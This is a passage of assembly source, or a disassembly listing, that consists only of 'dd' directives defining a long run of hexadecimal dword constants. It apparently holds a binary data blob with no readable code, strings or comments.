		dd 0F3BF8992h, 211930AEh, 0C35242h, 7656E725h, 9E9B683h
		dd 619E1DC0h, 177A5C85h, 19C8937h, 0E9FE8B2Fh, 2EA86FD4h
		dd 15F58505h, 0B5F4C012h, 0DBEF04D1h, 322195E0h, 0C98C19DDh
		dd 728B0C0Ah, 518538C8h, 56A1065h, 703E8CCh, 22C35B57h
		dd 1C5C89h, 0AAC35343h,	4D355184h, 9519BA98h, 0E94E1B5Dh
		dd 28B205FDh, 59305158h, 4689E4C3h, 1A224Ch, 27C35141h
		dd 0AC9D2EAFh, 0EC87D330h, 0FDBD03D1h, 0B58DBF81h, 0D814FC86h
		dd 0ED7378B9h, 85195F7Bh, 6616A9BBh, 0D1768F0h,	830FD0FFh
		dd 81E0C38Fh, 0B532B7CFh, 30579F6Ah, 89E4C35Fh,	14227C46h
		dd 0C3574703h, 0BE8FCh,	20F1FB13h, 0CB3D0AF9h, 0E4937300h
		dd 0E0816047h, 54C184Bh, 85D3740Dh, 5F614214h, 66D10C3h
		dd 48F0F0Ah, 34BF014Dh,	0C8F38BB6h, 116895BDh, 0F436BECh
		dd 0A31CE82h, 3DDB589h,	2BD083EDh, 20BDA58Dh, 8800FE7h
		dd 28BB18Bh, 61600D8Ah,	861F4F42h, 0E2331B5h, 33BD093Bh
		dd 0EB610C2Eh, 0E9FBF8C0h, 0D0A40Eh, 2CBE45DAh,	729D8C1Bh
		dd 0DD011172h, 0BD8354E1h, 3CB80E71h, 12097518h, 74892D69h
		dd 5667182Fh, 76AD9B8h,	34185DC9h, 40EA9DEDh, 0D315FFAFh
		dd 8822585Bh, 0EF202117h, 4CCAAC88h, 31130508h,	100C790Ch
		dd 7B5F51C0h, 53D83750h, 1D25E63Ch, 7D890339h, 0EC50433Ah
		dd 216A2006h, 5B8A1504h
		dd 3B40B2E9h, 0A139E76h, 0B0E26F53h, 125212C2h,	15007C2Eh
		dd 3A94248Ch, 8FCA1C78h, 0E8F4518Dh, 0BD896080h, 12C00B0Dh
		dd 3405D281h, 615524C4h, 124E2212h, 4C1C0D95h, 135F10C4h
		dd 5DC9FE01h, 0ADBCE135h, 730422D8h, 0EDCA7D5Fh, 0A5958340h
		dd 6071CA0Fh, 19465C60h, 0AB9EBE00h, 0F8C212Eh,	38F8552h
		dd 0FD8D0350h, 5A603422h, 6AB726B2h, 5D1C5546h,	6C8988C3h
		dd 45401CC4h, 0D757C355h, 0EB9DE3Ah, 74CDD372h,	50F8029Ch
		dd 0A145D580h, 6196B29Ah, 0EB00CA8h, 68FCD1EFh,	0B4A180Dh
		dd 0C01A8872h, 823285D7h, 4F1D7A19h, 0E91112E6h, 5A0B800Dh
		dd 7FAD8297h, 53A33A86h, 4CEA2C07h, 9E46A1Bh, 0CA900849h
		dd 0E881219Dh, 1600F832h, 5762FD1Eh, 8A255C75h,	0D3237771h
		dd 0D7F04533h, 7A07B0A4h, 2ED8F123h, 3CF50460h,	0C459F036h
		dd 1052956h, 0A159D89h,	0F840D62h, 893ED881h, 84113759h
		dd 73C8E956h, 0C7AA00B6h, 5A524181h, 0D5F28BB9h, 0CE35F56h
		dd 3D89BD33h, 1840018Bh, 41853150h, 0C7FA5324h,	60C91B9h
		dd 123A9859h, 49A98D89h, 0F70259E0h, 0F2130A1h,	2B811B84h
		dd 3DFCF580h, 0EB11A48Ch, 24019A08h, 37F11898h,	23D42AE9h
		dd 983D1507h, 91822218h, 1815D1FCh, 0F2A26733h,	885BE53Bh
		dd 4C4C4226h, 0E8754CC0h, 2048C14h, 22319D01h, 698EF6C8h
		dd 65E1Eh, 60D0D5A5h, 4CD13DD2h, 0F181015Ch, 45AAD30Ah
		dd 0C6F1BB33h, 0C6841F0Bh, 87402E0Bh, 0C3F48C50h, 444889F8h
		dd 5040E0EAh, 0F8540FC3h, 8D6FEEC6h, 0C192DAA4h, 321AB14Bh
		dd 980B3ED9h, 0D31103C1h, 0FFF82483h, 884E10C2h, 43F28013h
		dd 7E27A3FAh, 0E31EA770h, 5803302h, 7C795DE5h, 60EF0BBDh
		dd 8782B70Fh, 7DC481B5h, 0F6E156A1h, 0CBBFB833h, 11C869E9h
		dd 0A810C7B3h, 0C502535h, 28F20CF7h, 802137E9h,	0AECCF632h
		dd 562B0401h, 1823BC3Ah, 0B21E2501h, 9F20573Bh,	117D9135h
		dd 0F1A46398h, 508C8DFFh, 888501D5h, 8D17A2E5h,	0BFA740F5h
		dd 2C598909h, 8FDDA8DEh, 42FDDE4h, 99B50950h, 15A2BD3h
		dd 85E145B5h, 751EE96Eh, 0F9E1016Bh, 0CA16BC8Dh, 0D1C87C1Dh
		dd 66663203h, 0BD3D8FC4h, 8B62C4C1h, 41763A38h,	2AF07C36h
		dd 61257ADh, 41308A05h,	7FD1EEF5h, 0A1F107A9h, 805803BFh
		dd 978FDAD3h, 623C6102h, 0E4E840E0h, 0AE8400B0h, 0CD51ACDBh
		dd 0A7E0298h, 0D2AD2701h, 5AB0B27Ch, 0BA206749h, 6A3540B1h
		dd 0E5C83464h, 9850E9A0h, 481583F7h, 0E110EFD6h, 745502Bh
		dd 6820B098h, 8C660201h, 4C3F6DBh, 9D025141h, 599DC619h
		dd 68810AECh, 9CA8B852h, 2E195E89h, 3BF25C93h, 46B05664h
		dd 1044B398h, 7281DF64h, 2D28D9BEh, 9B684740h, 0EC1823ACh
		dd 528B04CCh, 4F031EF0h, 2F266168h, 24B104DCh, 0D5314339h
		dd 6A537D0Fh, 8518F828h, 757553C0h, 98684101h, 5ADB8764h
		dd 0F2D0642Ah, 681C4C2Ch, 8095E7A4h, 438BA220h,	75417E7Bh
		dd 1545945Bh, 0AC7054DEh, 3C72A15h, 43D8E1CFh, 0B0EF940Ch
		dd 12317526h, 4D4D8580h, 6A8A622Bh, 3253B402h, 9192B534h
		dd 506D1788h, 97086845h, 892A5F7h, 35731309h, 610C0267h
		dd 4D32752Eh, 0A1C0B466h, 0C464E6Ah, 349A7C58h,	0CBA47451h
		dd 8350F100h, 488529FCh, 7EC63131h, 800C4037h, 2C502FE1h
		dd 0FC0906E7h, 9E35FF64h, 1BD918B9h, 3C013218h,	11FB06A5h
		dd 4E30AB59h, 64A7CEE9h, 443025EAh, 0C35E6156h,	8C7489C8h
		dd 58461644h, 20179B56h, 0EDF40402h, 0BC0F120Fh, 0A3325785h
		dd 80022937h, 890723D5h, 8213CD62h, 91FE919h, 521E51A4h
		dd 80D3AE00h, 8308F2BDh, 59851426h, 98420949h, 8001A641h
		dd 637EB1F5h, 0B26EDB4Eh, 92038419h, 0C033000Ah, 0F411EBE8h
		dd 0B888EC87h, 4FF84300h, 0D47C1A2Ch, 78970250h, 0E9F0EB41h
		dd 7FFD1780h, 1600FE56h, 0EA7E2040h, 1B48736h, 0EBE7604Eh
		dd 0F85A612Eh, 7073F0Fh, 58F640Bh, 0B666DF0Bh, 0F49DC900h
		dd 38BA704Eh, 5E6625EAh, 1D915C97h, 2E70A980h, 6601C5D8h
		dd 0ECC0D07Eh, 6370FB83h, 0B910FB84h, 9D0D7398h, 15F2E961h
		dd 1A88380Bh, 21D4DBC0h, 0F1CEA1FAh, 66D59A71h,	60F5238Ch
		dd 0E8890C76h, 513B1532h, 0EE2B1405h, 0BD47C06Fh, 0B9E1115h
		dd 0C244C80h, 0CCA481C7h, 8303FF31h, 15CAB8F4h,	0C306DC04h
		dd 0DC305C8Bh, 5D0922BCh, 21A0ED81h, 0B8838BBCh, 3610C663h
		dd 0C892A38h, 0F4F5D61h, 159D038Bh, 6CB9966h, 963899D3h
		dd 6440E951h, 20518C8h,	507D42ECh, 0E94EF38Ah, 1E08604Bh
		dd 0EB862005h, 0EC82BB10h, 61078F12h, 0F685D375h, 0D2B9D9D2h
		dd 4B800F0h, 54855D7h, 0F7008164h, 0D465BB0Dh, 1CBA8685h
		dd 3E34B640h, 5FE8EA8Ch, 0FBEEED0Ch, 4D586802h,	630A7556h
		dd 40F8ADAh, 0E0495401h, 0B2C9952Bh, 76A6F5h, 38B54071h
		dd 0C2F6F9B4h, 14BEFD01h, 0DAC65C11h, 2A5A093h,	55E7EF6Eh
		dd 0D580A7E0h, 0FCFFF45Ch, 1004423Dh, 51843205h, 20432EB0h
		dd 64ACF284h, 1CEDCD04h, 0E97CF90Ch, 0B88B4755h, 39E34C43h
		dd 5630B839h, 7845E001h, 70650063h, 6E6F6974h, 66E64920h
		dd 6D2872ECh, 50E00C61h, 0B9656C3Ch, 202C8873h,	7A741E63h
		dd 68D5F1F3h, 0E373E3F7h, 0EB77E366h, 64123E72h, 6C3E763Fh
		dd 7BFB70BCh, 69773473h, 761D5934h, 1C26B16Ch, 67B1676Eh
		dd 0DD2E7340h, 0F5787154h, 0F579F56Bh, 0D0AEC75h, 1E904DFh
		dd 8070288Ch, 436EC073h, 2B4C5254h, 0EB65FFEBh,	461E6978h
		dd 747A645Bh, 707BC518h, 6C084779h, 0FC629769h,	295164DAh
		dd 56420336h, 7FA6DF42h, 25793D7Fh, 0E8431ECCh,	496B1563h
		dd 64230F4Eh, 54554F84h, 6F725070h, 2D1D44FFh, 0F3BA30Fh
		dd 0B683F320h, 900F3D43h, 5095B71Eh, 3A188E1Ah,	0BDCA811Eh
		dd 0B86326ADh, 0D1012D12h, 20AB092Dh, 0EC4506Ch, 4B57AA73h
		dd 548680BDh, 24C92719h, 198088C0h, 5807CA14h, 8716998Fh
		dd 0C3842445h, 4D4A3218h, 88124304h, 1A9971CEh,	0E671DAC8h
		dd 70E2C81Ah, 448DAB04h, 0A7ED38DEh, 38D2E44Ah,	0E425A7F5h
		dd 85FC38D6h, 1DC20C48h, 6A770B30h, 153A8231h, 5195192Ah
		dd 81FE90Dh, 5D115885h,	1D3281C4h, 0E0F8C209h, 0C50FE9C0h
		dd 0E2958D23h, 34521883h, 1FC34028h, 0D2893BD4h, 0A2198955h
		dd 11FB400Ch, 13519D8Bh, 98784CC3h, 11466553h, 0CE105021h
		dd 0DA1154F2h, 1058210Fh, 115CF2DEh, 0DC2915D2h, 0AF5A0DF5h
		dd 0CD826822h, 0C215A93h, 0C8D290D6h, 32DA64DEh, 15CA19CEh
		dd 31C40A09h, 748FC1Ch,	122720BDh, 94906A0h, 24C4D5C1h
		dd 0BE25406Ah, 774B190Bh, 0B30184FDh, 0C18B098Ch, 0CF1110E8h
		dd 54B16EEh, 0AA6F003Dh, 46023C01h, 0F59D6105h,	45E22DDBh
		dd 0D570B600h, 0CF16A764h, 96482800h, 495B5068h, 1A1D1767h
		dd 0D6370358h, 0C0A0FC17h, 0D2B45FA0h, 0B73336C0h, 0E0C83F19h
		dd 91E8F2h, 7CE175DAh, 6B5652C5h, 40AAB95Bh, 0F1BF0FCCh
		dd 6EBE505Fh, 0F8FFE04Fh, 0E4FE6CCBh, 237D07C3h, 10095CE2h
		dd 8B5B35BCh, 20E90825h, 19671573h, 0B0973958h,	0D3A4D800h
		dd 0F181C5BFh, 393F8FBh, 105A5337h, 6C2C8FA0h, 0C88C5C0Fh
		dd 0E1C1CC98h, 27BAFD04h, 0F2400DE8h, 30983BCDh, 0DC2F1C00h
		dd 32175136h, 0D88B1D0Ch, 860FC95Bh, 0FD8AD5C8h, 83D28F65h
		dd 8E8A4D1Dh, 881C0606h, 0E8830022h, 27EB8104h,	0A250BBBh
		dd 0D0D29B4Fh, 184BB583h
		dd 152FE962h, 7A051299h, 89E5690Dh, 0A01302C0h,	34BE009Dh
		dd 9FF57904h, 0F289702h, 0B2094A8Ah, 4065E94Dh,	1DE32E6h
		dd 9259F66Eh, 0D82A3C69h, 0DA009F3Dh, 0FAF3EC33h, 0A5EAF9B7h
		dd 8B91C104h, 571080C7h, 93D6B64Ch, 21EB6EE1h, 2EAA7940h
		dd 0B10FE5D7h, 83F62C66h, 0F0FB01EEh, 33198BF8h, 0A048C1F5h
		dd 28560CC4h, 0F1181F2h, 6050EBCAh, 0EEF4198Ah,	66211360h
		dd 7BBAD645h, 0E3360CFFh, 4188AEBh, 9239EF63h, 36411E9Dh
		dd 18E13C03h, 8FD245D5h, 0B8438839h, 1DAFA51h, 0A2CCC8DFh
		dd 0EC8B99C7h, 66006346h, 0E4C492B2h, 0A44587BAh, 0FC2EA1ACh
		dd 4C809857h, 84256Fh, 9F74E0D7h, 32EB35CFh, 9C21F360h
		dd 3BB822B2h, 0ADA4CEC5h, 89183378h, 0C19305A0h, 0DA0064F0h
		dd 47F4FCABh, 0F82EEBC8h, 77B300FBh, 6FBDDDF7h,	0E606A55Bh
		dd 16910E14h, 1FEC0009h, 0D6224D51h, 2A0ACFB4h,	4CCE33EBh
		dd 0F9B6E1EFh, 0A5C9FBB2h, 8856E048h, 48C32ABEh, 20D47A25h
		dd 0D2449FF0h, 0ACF85455h, 9232006Fh, 43B1E8FDh, 0DC3DF0F2h
		dd 4884B0C8h, 3431B2EAh, 2020DB9Ah, 0D6AE4CE0h,	72788F74h
		dd 71188763h, 21FCA71Fh, 309FF0F2h, 2171E5EEh, 0B6515A75h
		dd 80C6E188h, 0E99C5F48h, 180493F5h, 70B85703h,	0BB743719h
		dd 80B6F8C8h, 7D434B3Ch, 0F9065A73h, 0E703C6E6h, 0D4E0EC1h
		dd 64E1EC01h, 0D8AF3B04h, 40C83CCCh, 0E48F80C6h, 0F4287B1h
		dd 0A8E690A8h, 9E3710C8h, 4C44C08Ch, 7F0C233Eh,	0F7C7E206h
		dd 0FCC1ECEEh, 0EA78747Ah, 0F8A12075h, 0BC9F572Ah, 24BB9403h
		dd 0D1DD3964h, 799EC9ADh, 0C5A2032Dh, 9FBF6B14h, 0B0C3A0C6h
		dd 4DA73D04h, 2C8223CCh, 2D4C20E1h, 9C745E1Ch, 26FC1A00h
		dd 2921C051h, 85912AEBh, 5A80EDC0h, 2516F4D0h, 177D8C50h
		dd 21B67632h, 321C484Dh, 882F8AE0h, 0E91804h, 0B142D66h
		dd 0F6420511h, 32C34588h, 0A84A31D4h, 0C160280Ah, 800D757Ah
		dd 6C420A21h, 18C3823Dh, 190CBD67h, 32AB10Eh, 6D09D0D7h
		dd 0CF7E32h, 0C2AA4C20h, 1DD000B2h, 6F4E1C34h, 0D22B7A78h
		dd 3E0214E0h, 8260420Eh, 12187530h, 85CCDC03h, 827303E1h
		dd 150C2869h, 0C191408Ah, 18DB865h, 71B05C31h, 83F3032Eh
		dd 0A9B1FA29h, 83CE90E0h, 2487E4D5h, 44041B47h,	2F68C420h
		dd 0B1CA0828h, 0B00574A1h, 35B44429h, 8B302C01h, 0C050FEEEh
		dd 186A3E46h, 61F06EC8h, 0B53D1FF6h, 6DF02FDh, 444EF22Dh
		dd 0E2431Ch, 0B49B5E1Fh, 0A0F98EB8h, 84B98598h,	0C8EEE720h
		dd 1B627D18h, 0C5511EBh, 0E041A3h, 2079F780h, 3A344906h
		dd 118EC9Bh, 448E05EAh,	306A1157h, 2326FA48h, 0C01A4DEh
		dd 0B3EC5239h, 28320C34h, 0ECDFF2h, 0E790774Ah,	0C3FBE0D5h
		dd 0FAF2A498h, 30C76E26h, 47E39E82h, 7A209E94h,	40008CA1h
		dd 2CDCDECEh, 73B3888h,	297B710h, 0DA0048F7h, 71B4045Dh
		dd 0EEA50C43h, 0DD087379h, 453821C0h, 0F236B004h, 0A96E00AFh
		dd 7CB1D22Fh, 1B514C51h, 0E08FCA80h, 8EB8C4EAh,	5C60B4D9h
		dd 0B3D6BE4Eh, 8AE4633h, 87211CD0h, 3A47C0BCh, 140C761Ah
		dd 0B27AF91Ch, 465101E0h, 0EE02AA04h, 9AFC50E1h, 0C018974h
		dd 3A33AFC4h, 0B454F86Fh, 28BB6482h, 0DE465C44h, 8B3D2100h
		dd 6BDBE9BFh, 0E53EA101h, 20AEC405h, 0F8997034h, 0D78A1393h
		dd 32C50145h, 0A431EB5Ch, 8B0618B1h, 4680D86Eh,	8AB23F2Ah
		dd 84AE4E5Eh, 0E6BAB970h, 3716007Ch, 853B51DCh,	0CD60AE68h
		dd 7689D321h, 0F90D00A3h, 0F2265742h, 63099E46h, 0A2B2B311h
		dd 90C743B8h, 48740B9Ch, 59113CCAh, 42880A67h, 849EA4B8h
		dd 0EEE1983Bh, 1DCA11h,	0E639AF4h, 366BC593h, 21F508CCh
		dd 0F42501AFh, 0D7720489h, 1361F899h, 91224C0Ch, 122D799Eh
		dd 5E92BCF9h, 9F970F48h, 950E2040h, 3633F6CEh, 9E0885h
		dd 2D977521h, 0B9F0340Dh, 0C88D7902h, 2BF78A51h, 9737BE00h
		dd 1E755A09h, 0B8C87098h, 0F420C045h, 2643639Fh, 0F428AC81h
		dd 0A38EC7Ch, 804B7700h, 946B632Dh, 7D3400CAh, 3A3B5728h
		dd 0B82E0511h, 1641A403h, 0E3F4D5B9h, 30BF00E5h, 8B95C768h
		dd 541E4720h, 65C6BBF9h, 8931C4E9h, 9118BA80h, 0E2322F4h
		dd 9F1185h, 372D8977h, 7378FD6Fh, 0E5F5017Eh, 6365602Ah
		dd 472C41D5h, 0D100D7EEh, 0C4EB0DAAh, 26AC11h, 0DBDC011Ah
		dd 5952F1D0h, 482E4C3Dh, 193103C8h, 2305C6CAh, 9A1EBF99h
		dd 6D0E1D84h, 72209B62h, 1DBA2D92h, 13834Ch, 71E7DF77h
		dd 0EF224853h, 0EEB1DFAh, 0C82E20C1h, 2940946Ch, 0C2FBEE5Eh
		dd 0B8D20629h, 19738DE0h, 980067F2h, 0E4979D80h, 746DDFB2h
		dd 3E3309B6h, 0E887F7EFh, 1A0A9889h, 0B307D440h, 14A0F5DDh
		dd 178CE90Ch, 214C8819h, 83F40398h, 6BE07879h, 4A75F0A7h
		dd 24E32457h, 84910C7Ch, 0AB036AD9h, 755D4BDDh,	0C394D0D5h
		dd 0B6F800B3h, 138195A5h, 0A4F9526Dh, 93119051h, 88045980h
		dd 448C2371h, 411D34E3h, 0D50F6F04h, 0B56C26A6h, 0F00C3A79h
		dd 2F2C9212h, 9C2390h, 1D1A13D8h, 85000747h, 90C46F86h
		dd 74931E65h, 0FF7730C9h, 0AA338831h, 13EB9ECh,	19E73063h
		dd 0A8524434h, 0B81BEC98h, 0EB2D08C0h, 9982D637h, 90AE675Eh
		dd 0E6C4E8h, 870E28BFh,	266519Fh, 77E9E960h, 903C3673h
		dd 718D01FDh, 658509A6h, 0BCF7E4A7h, 0CFAF5F18h, 0F36149h
		dd 0E4BBAE8Fh, 0EC63061Eh, 0B390E4A3h, 0F0A0561Ch, 821E5AB4h
		dd 3407BA65h, 82298155h, 2089095Ch, 0BD6DCE22h,	0AA2D25h
		dd 2AF3758Ch, 1A4C7344h, 70C58942h, 0C8EFC860h,	5D6780h
		dd 0F4FE2946h, 22B514B8h, 8322CCB0h, 80060ACDh,	7820BD89h
		dd 528C2DA5h, 0B10090AFh, 67A1213Ch, 1C1F0BCCh,	0FE20E7EEh
		dd 3F2E7101h, 0B50F9A3Ch, 0BF06C2DAh, 0F61DF8B3h, 0EF1DBA66h
		dd 0C1ABB804h, 31848E7h, 451A117Fh, 0B5402894h,	4A5F577h
		dd 0D8AE7565h, 332CA0FCh, 0F2F00641h, 5E414B0Ch, 0F013F8h
		dd 0DFEA404h, 3668374Ah, 1508A428h, 51B8A8A9h, 142038EBh
		dd 226418E9h, 0EE5620A5h, 0D02F5Dh, 0FD257181h,	7186AC2Ch
		dd 0B5080063h, 5DF62797h, 0A10E6F4Eh, 0A0E0D272h, 0E5AE1AE2h
		dd 380600B1h, 9C4E51EAh, 32500CF8h, 51C78044h, 1EB66F8Ch
		dd 67040631h, 80CDE265h, 0BF520E0Ah, 631FC8E7h,	90AF920Fh
		dd 0D0CF420Ch, 75102018h, 440EC75Eh, 0E6233261h, 9EB9EAFDh
		dd 0B09448ABh, 0E9303F61h, 9FE00DA9h, 8E8B9D6h,	8742BAFEh
		dd 9C0209DFh, 4040F8AEh, 1E28EEB7h, 821894F5h, 91E8710Ch
		dd 17BF03FEh, 0A1112EFBh, 59EEC000h, 83F8BAC0h,	294F6424h
		dd 0A38C2112h, 0C7107512h, 1006894Dh, 247F08h, 7786F5CDh
		dd 85D2AA7Eh, 18946C00h, 33499ED7h, 428B3FE2h, 73C2F83h
		dd 5788F270h, 0A501C240h, 4E9F1561h, 0FBE8E2B5h, 721F22Dh
		dd 0C203B68Bh, 6C663049h, 0CD00B080h, 0C3BD7827h, 35C44Ah
		dd 191FE1FFh, 0DFF41447h, 0EA508E02h, 2223CA04h, 6100C740h
		dd 309E55h, 7DD898E0h, 0AE7F6E02h, 0CE343Dh, 78D07EEFh
		dd 9069E7h, 7A0245ABh, 5C96F372h, 0A7EB6400h, 5BD4ECDAh
		dd 1DD300EEh, 1F0C8060h, 0D5004A8Dh, 83965EFCh,	9A0FA390h
		dd 0B2F73C98h, 0CB23540Fh, 1714C07Ch, 2D46F6F5h, 0B4C30301h
		dd 0B99E5275h, 1239BC4h, 7D6ABBDDh, 0C83A8A8Dh,	0B0095BCh
		dd 0AE256BD1h, 0DADE9Eh, 3CFA1905h, 0C6BBD498h,	66478A2Eh
		dd 0ABB2EE00h, 0E17D2Bh
		dd 0E0DA1E12h, 0A4E86622h, 4793F02h, 406E4D5Fh,	1E11F4EBh
		dd 181C3C6h, 0FA9E8B7Bh, 0C12BC820h, 0F805FD7Ah, 721E5B50h
		dd 0D0B06C81h, 0BFAE60h, 3A31AEF3h, 7B608702h, 6B5439E2h
		dd 25E062BCh, 9707642Ch, 0CBDDB000h, 0BDF256h, 0E279D17Ch
		dd 6D6BB6ACh, 0A0139601h, 0B44AE709h, 0F8469440h, 91B301A6h
		dd 0EFAF9BABh, 38C1E40Dh, 441C30F2h, 3CB87E2Bh,	15FC817Ch
		dd 9CD1ACF4h, 0BC45C8h,	33F53905h, 0B10A0F6Fh, 85BDC107h
		dd 9C44D695h, 97DF1080h, 42CA1D22h, 4B0B17Bh, 0F800D389h
		dd 0E164CEEDh, 0AABF66h, 0D12069E5h, 6C59F360h,	82D5D73Ch
		dd 3CC451A0h, 86284061h, 0E6970FCBh, 23C62FD4h,	7B1F19D1h
		dd 22C06850h, 0EC253EC5h, 0C02D1D73h, 4ED083E8h, 46FB7199h
		dd 0C0E2CC89h, 9E3A01AEh, 4DA600F1h, 0F31DC62Eh, 0CD9803DFh
		dd 0C9B351A7h, 76115800h, 824A9988h, 677897h, 6AFF31CEh
		dd 0DB6005F4h, 0DCB0B8A3h, 1300656Fh, 0BF273A28h, 15AA187h
		dd 0E5ED85C9h, 6F7AAC1Fh, 0B1C01687h, 1784F424h, 3F81Ch
		dd 0C7EB1D7Eh, 131FF5E6h, 74C09559h, 349B1546h,	0C637134Ch
		dd 322C00EDh, 0E96B999h, 966AD028h, 361CE400h, 0C0CA3EABh
		dd 0FB450071h, 8A819CD4h, 84124063h, 8440BAF3h,	1A39A1CDh
		dd 0FE7B16h, 91630D73h,	3BF9A7B5h, 38EBC500h, 89F74CBh
		dd 0D46907DDh, 40E4F043h, 0C729DA32h, 87B4A300h, 0D164164h
		dd 0E7EA0504h, 22FC636h, 0B43E7BECh, 60F88887h,	85CAE69h
		dd 0FF8D1500h, 82F71629h, 0EDCB18D1h, 0A827313Fh, 382BFD00h
		dd 0B08A92B1h, 865D00AEh, 0F51C4CB9h, 775D5243h, 0AA3F0F8Ch
		dd 0E32B80B8h, 75C1BCBh, 4EED1D0Fh, 0FCBBA045h,	76007A6Dh
		dd 5B73D1A1h, 42D3F5h, 1262A595h, 0E34E54A2h, 1D03CA00h
		dd 0A196E6C6h, 0FE8900Fh, 0DCC3044h, 0EB49EFA3h, 408859E0h
		dd 0ACFB7804h, 70D0E9CBh, 7F5AB28Fh, 110200AEh,	97FE30CDh
		dd 0DF0E24F9h, 40C57BE4h, 0B709639Ch, 3EB10151h, 0AE2F8D08h
		dd 0CA26D83Bh, 1F72A202h, 80FF0562h, 79F56794h,	7FA705Ch
		dd 0A13D1EEBh, 9E4B4054h, 5D1243AAh, 0D805CFC6h, 8447A297h
		dd 0BB80F796h, 0EC5BDC51h, 0A18C60AFh, 86B61E13h, 211B560h
		dd 0FEE441h, 0AD5560FAh, 0D0A1B2E6h, 0F304741Eh, 0F9D73A80h
		dd 241B60Bh, 0AC2EA59Fh, 0EC68E62Fh, 8F72CC48h,	30C61800h
		dd 0E846C8Bh, 0AA141D38h, 0C8280025h, 0C1A33CA8h, 8711513Dh
		dd 7AC3F12Fh, 18167E90h, 554BA4Fh, 8DB968B0h, 6DF18046h
		dd 2400CDAFh, 0C3B51707h, 16E25958h, 0C0091B84h, 0DDE7912Ch
		dd 2E3CA500h, 7A3196EFh, 0DCC4003Dh, 0D2364F80h, 63009ADBh
		dd 54971FABh, 5AD8BFh, 2AA8CF0Ah, 77D1A3Dh, 4A2DE600h
		dd 0F9A6E3FEh, 0F68B025h, 5C216A9Bh, 1334442h, 8A6794A0h
		dd 0B2140F22h, 0CC6DADh, 0B727F86Fh, 117CBE4h, 1CC8BCAh
		dd 3098D3A9h, 5C1413D0h, 194AB37h, 0A4A2195Dh, 72E08043h
		dd 51D3006Ch, 284F50DDh, 9900BDAAh, 0AD6698FDh,	185F95Bh
		dd 0C6833747h, 8006DADBh, 462A3C70h, 73390A42h,	7090C3h
		dd 581F715Eh, 36BAD03Bh, 0ED764613h, 23C0C00Eh,	12330575h
		dd 0FA9C9511h, 2252131Ch, 71E2A400h, 0EE7DD5h, 3F7256A0h
		dd 0DDD612FEh, 0D06B7000h, 951BF661h, 4BCD0603h, 12BD6014h
		dd 92B69A1Ch, 6787FC80h, 0E46A8h, 6D5AAB11h, 2BBE79Dh
		dd 1C033E7Dh, 0F59B59EDh, 0CFBD8823h, 534B1B78h, 0B0A0A843h
		dd 11490DD5h, 0F590000h, 5604FDF4h, 0EE7907h, 0A41C5562h
		dd 9A0E67A8h, 0BBB2C30Fh, 807FE932h, 2242C0FCh,	12901FE7h
		dd 0EF6503D5h, 81AD44FEh, 0FED1DE00h, 7233E880h, 55082A39h
		dd 8079BE3Eh, 8B469FEEh, 8D00D60Ah, 0EF749B90h,	123A76h
		dd 0B5D7D441h, 275CDA2h, 7E0FF300h, 0EFF2CECBh,	1735ECF8h
		dd 0A281DDh, 700152EEh,	414C7B8Eh, 4FA009ACh, 24C8016Fh
		dd 0B00B7EAh, 90BA9903h, 75D8F502h, 50C93F53h, 668918D0h
		dd 0ADA29956h, 69C16C00h, 8036DA15h, 94EB5DF6h,	569B8800h
		dd 0AD05E5E4h, 0FC91D002h, 7194891Bh, 28E1020Ch, 0AC616387h
		dd 0BA4BD4DCh, 0E6294601h, 8540A404h, 0DA01F8h,	7A61C325h
		dd 9FC123C5h, 2C8C7D00h, 68ED1F36h, 69BB0358h, 0E20E25C7h
		dd 0A04E5E4Fh, 0D8907336h, 1D93CE61h, 1D3E639Dh, 35970494h
		dd 6DA4F404h, 40038798h, 4E5BD6F6h, 0AF2FA1DEh,	0C6E15465h
		dd 3147F0h, 833C1444h, 0E43EF8CFh, 4D688203h, 0F0ACEF57h
		dd 0B9BE42h, 9A2BC1AEh,	670DC28Eh, 636C6B01h, 65955EB4h
		dd 2E468885h, 8248E5F6h, 0ADEE1758h, 0F53C6066h, 0EDE21C19h
		dd 0D81E7A74h, 7D4804Fh, 0B863B0BCh, 4C65E00h, 0E99F6571h
		dd 9A9327C5h, 0B84C2486h, 0B4E4604h, 0ECB0F679h, 0A02BF2B7h
		dd 8B7338h, 0DE91B6A5h,	3FB17B5h, 15A7A812h, 11AD7400h
		dd 0E83134h, 0EDC3822Fh, 5160BB5h, 0D451DA4Bh, 54AEB804h
		dd 4BEEC892h, 0C42844A4h, 0B506444Ah, 44B8EB44h, 4044C661h
		dd 143A4A48h, 44A2AC1Fh, 6200879Dh, 1B4AC8AFh, 1D9BFCh
		dd 0EB610EC7h, 0BD3B5BFDh, 8090A63Ch, 9DEC6A5Ch, 1B92958h
		dd 891968A3h, 6044BEF4h, 0B37ECAC5h, 2C7AE600h,	92EBE8C9h
		dd 875000CCh, 0D097AC65h, 0E01EBF2Bh, 891D1EB4h, 170E50EEh
		dd 5FD54008h, 0DCEB24h,	0CD7B61FFh, 0A4E49C99h,	1D7DCE00h
		dd 0B04FE0DAh, 5F23005Ah, 8730C125h, 4C0248B3h,	89A06CF3h
		dd 483CF290h, 0A3C0C8E7h, 2788ED5h, 0AE4248h, 703101CEh
		dd 0F071E7E0h, 0C0AF7A92h, 0C7F8EE39h, 344C8B18h, 993118ECh
		dd 78519C1Ch, 0C0D492F4h, 0F72EA0E0h, 35005F50h, 5B644D22h
		dd 0CFB3F8Dh, 0AC230378h, 0FA00BB60h, 20D2EA4h,	0EEE5BDECh
		dd 9D99C9C7h, 819F1200h, 0F900A8CCh, 0B71037B5h, 0BEA117h
		dd 0C61C5A80h, 301D5853h, 4CB09172h, 0C417D6EAh, 1800454Bh
		dd 0C52BF57Fh, 43BD0F07h, 8C004C67h, 5FA0EA54h,	5B9AAE00h
		dd 0AF18B3B2h, 0FC97034Dh, 4712E724h, 0A86179C0h, 4AD93E00h
		dd 2393D244h, 1284A818h, 8030B9F8h, 0D72132CFh,	637B3343h
		dd 89EE0100h, 367778A8h, 9DB4001Ch, 8CE53424h, 32074733h
		dd 4FACE6F1h, 0D2C375E0h, 234963Dh, 2CD8CA1Fh, 0FCEB9860h
		dd 2EBC3Fh, 4B64AECDh, 8EDC9Bh,	0F181569Ah, 0B2957B53h
		dd 45B52200h, 74C3F243h, 0F4E9E62Eh, 0C66605FDh, 0C00881B6h
		dd 0AC50E4E0h, 8EA82Fh,	7F6AE0A0h, 99F2FC8Fh, 9FA000B0h
		dd 623F244Dh, 2A329C18h, 0A8CF4719h, 98023AF8h,	0BFF40A57h
		dd 0D46EFAh, 0BD778F49h, 0DEA1D03h, 473EB500h, 76B94C3h
